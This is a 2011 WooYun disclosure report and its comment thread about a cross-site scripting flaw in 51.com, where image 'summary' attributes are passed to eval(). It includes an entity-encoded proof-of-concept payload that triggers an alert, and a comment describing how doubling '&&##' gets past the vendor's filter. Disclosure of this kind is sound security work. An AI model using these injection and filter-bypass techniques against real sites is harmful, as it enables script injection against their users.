当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2011-01867

漏洞标题：51.com跨站漏洞

相关厂商：51.com

漏洞作者： jsbug

提交时间：2011-04-12 05:13

修复时间：2011-04-17 06:00

公开时间：2011-04-17 06:00

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2011-04-12： 细节已通知厂商并且等待厂商处理中
2011-04-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

http://pic.51img1.com/v3/home/scripts/pub_newhome.pack.js?v=20110126.js
图片处理函数setImgsAuto()调用eval出现漏洞.

详细说明：

<img src="http://static.51img1.com/v3/bbs/images/loading.gif" width="42" border="0" summary="{u:'http://hi.baidu.com/jsbug&#39&#125&#41&#59&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#47&#47',w:'auto',h:'auto'}" />
<script language="javascript" type="text/javascript">
var len=document.images.length;
for(var i=0;i<len;i++){
    o=document.images[i];
    if(d=o.getAttribute("summary")){
        da=eval("("+d.replace(/\r/ig,"").replace(/\n/ig,"").replace(/<br \/>/ig,"")+")");
    }
        o=da=null;
}
</script>

漏洞证明：

修复方案：

版权声明：转载请注明来源 jsbug@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2011-04-17 06:00

厂商回复：

漏洞Rank：10 (WooYun评价)

最新状态：

2011-04-18：已收到，多谢jsbug

2011-04-18：已修复，再次感谢jsbug哈。

漏洞评价：

评论

  1. 2011-04-17 10:50 | saga ( 路人 | Rank:11 漏洞数:2 | 世界上只有10种人，懂二进制的，和不懂二进...)

    这洞挖的好深

  2. 2011-04-17 16:02 | xDo ( 实习白帽子 | Rank:39 漏洞数:10 | …对那飘过的浮云说声我想你…)

    厂商为何忽略

  3. 2011-04-18 09:42 | 51.com(乌云厂商)

    回 xDO：因收到一封 “漏洞已经视作忽略处理而自动公开”的邮件，没收到举报邮件。上周忙着没来看列表，罪过。

  4. 2011-04-18 16:50 | jsbug ( 普通白帽子 | Rank:117 漏洞数:16 )

    过滤错了.&#过滤为空,&&##还是成了&#漏洞还是存在.

  5. 2011-04-19 11:49 | 51.com(乌云厂商)

    悲催，jsbug改成jsbull吧，哈哈。改过了

  6. 2011-04-19 11:54 | 51.com(乌云厂商)

    很好的一个案例，多谢jsbug大牛